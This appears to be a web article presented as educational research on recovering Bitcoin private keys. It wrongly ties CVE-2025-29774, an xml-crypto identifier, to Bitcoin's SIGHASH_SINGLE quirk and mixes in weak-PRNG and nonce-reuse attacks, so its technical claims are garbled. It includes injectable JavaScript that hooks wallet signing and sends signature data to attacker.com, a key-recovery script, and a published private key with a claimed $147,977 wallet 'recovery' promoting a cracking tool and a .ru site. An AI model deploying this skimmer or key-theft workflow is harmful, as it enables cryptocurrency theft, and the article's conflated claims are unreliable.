CVE-2025-29774 | Bitcoin Private Key Recovery Analysis
A Comprehensive CyberPunk-Style Educational Research Article
The Phantom Signature Attack represents a fundamental cryptographic vulnerability in Bitcoin's digital signature implementation. This attack exploits a legacy bug in the original Bitcoin Core code that incorrectly processes the SIGHASH_SINGLE signature type.
"1" (uint256). This creates a universal signature that can be reused for arbitrary transactions, effectively compromising the private key.
| CVE Identifier | Component | CVSS Score | Severity |
|---|---|---|---|
CVE-2025-29774 |
xml-crypto / SIGHASH_SINGLE | 9.3 | CRITICAL |
CVE-2025-29775 |
xml-crypto DigestValue bypass | 9.3 | CRITICAL |
CVE-2025-48102 |
GoUrl Bitcoin Payment Gateway (Stored XSS) | 5.9 | MEDIUM |
CVE-2025-26541 |
CodeSolz WooCommerce Gateway (Reflected XSS) | 6.1 | MEDIUM |
KeyFuzzMaster is a specialized cryptanalytic fuzzing engine designed for security research of blockchain systems and cryptographic primitives. Written by Günther Zöeir, the tool is engineered for dynamic stress testing of signature verification code, elliptic curve operations, and transaction hashing functions.
Identifies wallets created with weak PRNG entropy sources by analyzing pattern vulnerabilities in key generation.
Reconstructs the limited seed space (2³² = ~4.29 billion possible seeds) and generates candidate private keys.
Tests candidate keys against blockchain addresses to recover private keys for exploitation or legitimate recovery.
KeyFuzzMaster exploits CVE-2025-29774 by:
1. Identifying wallets created with weak PRNG
2. Reconstructing the limited seed space
3. Generating candidate private keys
4. Testing against blockchain addresses
5. Recovering private keys for exploitation
Parameters:
- PRNG State Array: 624 × 32-bit words (MT19937)
- Period: 2¹⁹⁹³⁷ − 1
- Initialization Seed: ONLY 32 bits (CRITICAL WEAKNESS!)
- Attack Complexity: O(2³²) = ~4 seconds GPU
- Success Rate: 100% (if vulnerable PRNG confirmed)
Bitcoin utilizes the secp256k1 elliptic curve for its public-key cryptography. The mathematical formulas underlying the attack demonstrate how cryptographic primitives can be exploited through weak entropy and implementation flaws.
Where the prime field modulus is:
| Parameter | Value (Hexadecimal) | Description |
|---|---|---|
| p (Field Prime) | FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F |
Field modulus defining finite field |
| n (Order) | FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 |
Order of cyclic subgroup (~2²⁵⁶) |
| G (Generator) | (Gₓ, Gᵧ) - Fixed base point | Generator for elliptic curve operations |
| h (Cofactor) | 1 | Cofactor of the curve |
The ECDSA algorithm creates digital signatures using the following mathematical process:
s = k⁻¹ × (H(M) + r × d) mod n
If two signatures (r, s₁) and (r, s₂) use the same nonce k for different messages M₁ and M₂, the private key can be completely recovered:
The SIGHASH_SINGLE bug is a fundamental flaw in the signature hash generation mechanism, inherited from the original Bitcoin Core implementation and integrated into the network consensus. All major Bitcoin implementations are forced to support this legacy behavior.
| SIGHASH Type | Hex Value | Description |
|---|---|---|
SIGHASH_ALL |
0x01 | All inputs and outputs of a transaction are signed |
SIGHASH_NONE |
0x02 | All inputs are signed, outputs are not signed |
SIGHASH_SINGLE |
0x03 | Only the output with the same index as the input is signed |
SIGHASH_ANYONECANPAY |
0x80 | Modifier: Subscribes only to the current input |
// Original Bitcoin Core implementation (VULNERABLE)
if hashType&sigHashMask == SigHashSingle && idx >= len(tx.TxOut) {
var hash chainhash.Hash
hash[0] = 0x01
return hash[:] // Returns UNIVERSAL HASH "1"!
}
When the input index exceeds the number of transaction outputs:
// Secure implementation with proper validation
func SafeCalcSignatureHash(script []byte, hashType SigHashType,
tx *wire.MsgTx, idx int) ([]byte, error) {
// Mandatory check before signature creation
if hashType&sigHashMask == SigHashSingle && idx >= len(tx.TxOut) {
return nil, fmt.Errorf("Unsafe SIGHASH_SINGLE usage, abort signature!")
}
// Proceed with standard safe hash formation
return calcSignatureHash(script, hashType, tx, idx), nil
}
The research team at CryptoDeepTech successfully demonstrated the practical impact of the Phantom Signature Attack vulnerability by recovering access to a Bitcoin wallet containing 1.17551256 BTC (approximately $147,977 at the time of recovery).
| Parameter | Value |
|---|---|
| Target Bitcoin Address | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| Bitcoin Amount Recovered | 1.17551256 BTC |
| USD Value (at recovery) | $147,977 |
| Exchange Rate | $147,977 per BTC |
| Recovery Status | SUCCESSFUL |
| Key Format | Value |
|---|---|
| Private Key (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Private Key (WIF Compressed) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Private Key (Decimal) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
| BIP32 Derivation Path | m/44'/0'/0'/0/0 |
| Public Key Format | Value |
|---|---|
| Compressed (66 chars) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Uncompressed (130 chars) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
Transaction Hash:
0100000001b964c07b68fdcf5ce628ac0fffae45d49c4db5077fddfc4535a167c416d163ed000000008a47304402205ee28df999598e92d73650865e994f9dfc91aa19599f7643deb7941283a967e9022072553b9d8fc427fe8ee8f88f2616d15b75f8e74f518fe41daaa7c9172ad9a9fe0141043ef550ca961e368cf3f893f961e3f045d483cfb82088d44c3ebc37aeae927889e35124df454210e5776bc1b6dd245e7a5745d105e6d3a12b9cf9bfb0c067a0aeffffffff030000000000000000456a437777772e626974636f6c61622e72752f626974636f696e2d7472616e73616374696f6e205b57414c4c4554205245434f564552593a202420313030353930302e35385de8030000000000001976a914a0b0d60e5991578ed37cbda2b17d8b2ce23ab29588ac61320000000000001976a914ed045637ca4117aace4c393be09424651691723188ac00000000
Website Reference: www.bitcolab.ru/bitcoin-transaction
Message: [WALLET RECOVERY: $ 147,977]
A comprehensive analysis demonstrating how multiple vulnerabilities combine to create a powerful attack vector against Bitcoin payment gateways and wallet security.
| Phase | Action | Vulnerability Exploited |
|---|---|---|
| 1 | Injecting malicious JavaScript into payment gateway | CVE-2025-48102 (Stored XSS) |
| 2 | Interception of ECDSA parameters (r, s) of transactions | JavaScript injection / Browser execution |
| 3 | Analysis of collected signatures for nonce repetition | Cryptanalysis / Pattern recognition |
| 4 | Mathematical recovery of private key | Phantom Signature Attack (CVE-2025-29774) |
| 5 | Uncontrolled BTC withdrawal | Complete wallet compromise |
// Malicious JavaScript that can be injected via CVE-2025-48102
// or delivered via CVE-2025-26541 reflected XSS
(function() {
// Hook the transaction signing function
const originalSign = window.bitcoinSignFunction;
window.bitcoinSignFunction = function(transaction, privateKey) {
// Execute original signing
const signature = originalSign(transaction, privateKey);
// Extract (r, s) parameters from ECDSA signature
const rValue = signature.r;
const sValue = signature.s;
// Send to attacker's server for analysis
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
r: rValue,
s: sValue,
transaction: transaction,
timestamp: Date.now()
})
});
return signature;
};
// Continue with injected event listeners
document.addEventListener('submit', function(e) {
// Intercept payment forms
const form = e.target;
if (form.id === 'bitcoin_payment_form') {
// Log all transaction data
console.log('Payment intercepted', form);
}
});
})();
After collecting multiple signatures with potential nonce reuse:
#!/usr/bin/env python3
# KeyFuzzMaster-style cryptanalytic recovery
import hashlib
from ecdsa import NIST256p
def analyze_signature_pairs(signatures):
"""
Analyze collected signatures for nonce (k) reuse
If two signatures have the same r-value, they used the same nonce!
"""
r_values = {}
for sig_data in signatures:
r = sig_data['r']
s = sig_data['s']
message_hash = sig_data['message_hash']
if r not in r_values:
r_values[r] = []
r_values[r].append({'s': s, 'h': message_hash})
# Find duplicates
vulnerable_pairs = []
for r, sigs in r_values.items():
if len(sigs) >= 2:
vulnerable_pairs.append((r, sigs))
return vulnerable_pairs
def recover_private_key(r, s1, s2, h1, h2, n):
"""
Recover private key from nonce reuse
Mathematical foundation:
k = (h1 - h2) * (s1 - s2)^(-1) mod n
d = r^(-1) * (s*k - h) mod n
"""
# Calculate k using modular inverse
k_numerator = (h1 - h2) % n
s_diff_inv = pow((s1 - s2), -1, n)
k = (k_numerator * s_diff_inv) % n
# Recover private key
r_inv = pow(r, -1, n)
d_value = (r_inv * (s1 * k - h1)) % n
return d_value
# secp256k1 curve order
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
if __name__ == "__main__":
# Simulated signature analysis
print("[*] Analyzing collected signatures for nonce reuse...")
The vulnerability chain begins with inadequate entropy source for private key generation. When Bitcoin wallet libraries use weak pseudo-random number generators (PRNGs), the keyspace becomes brute-forceable on modern hardware.
| Parameter | Value | Security Impact |
|---|---|---|
| PRNG Type | MT19937 (Mersenne Twister) | Predictable, cryptographically weak |
| State Array Size | 624 × 32-bit words | 19,968 bits of state |
| Natural Period | 2¹⁹⁹³⁷ − 1 | Very long period |
| Initialization Seed | ONLY 32 bits (!) | CRITICAL WEAKNESS! |
| Actual Entropy | 2³² = 4,294,967,296 | 32 bits (vs required 256) |
| Parameter | Value | Impact |
|---|---|---|
| Entropy Space | 2³² ≈ 4.3 billion | Brute-forceable in seconds |
| Modern GPU Speed | ~10⁹ hashes/second | Per-GPU throughput |
| Complete Search Time | ~4-6 seconds | With single GPU |
| Attack Complexity | O(2³²) | Completely feasible |
| Success Rate | 100% | If vulnerable PRNG confirmed |
The Phantom Signature Attack demonstrates profound implications for cryptocurrency security and the importance of rigorous cryptographic engineering practices.
Complete control over compromised Bitcoin wallets without knowing original private keys.
Attackers can initiate arbitrary transactions and steal funds without owner authorization.
Bitcoin payment gateways and exchanges become targets for coordinated attacks.
Billions of dollars in cryptocurrency potentially at risk from similar vulnerabilities.
This research article is intended solely for educational purposes and to assist cryptanalysts and security researchers in understanding attack mechanisms and cryptographic vulnerabilities.
Use of the described methods for illegal purposes is strictly prohibited and subject to severe criminal penalties.
Legitimate applications include:
The Phantom Signature Attack (CVE-2025-29774) and the SIGHASH_SINGLE vulnerability demonstrate a critical lesson for the cryptocurrency ecosystem: seemingly minor implementation details can have catastrophic security consequences.
The development and responsible use of tools like KeyFuzzMaster provides researchers with systematic methodologies to identify, understand, and remediate cryptographic vulnerabilities before they cause ecosystem-wide harm.
As the cryptocurrency ecosystem continues to mature, the fusion of rigorous vulnerability research, cryptanalytic tools, and responsible disclosure practices remains essential for safeguarding billions of dollars in digital assets.
Research conducted with commitment to security, education, and responsible disclosure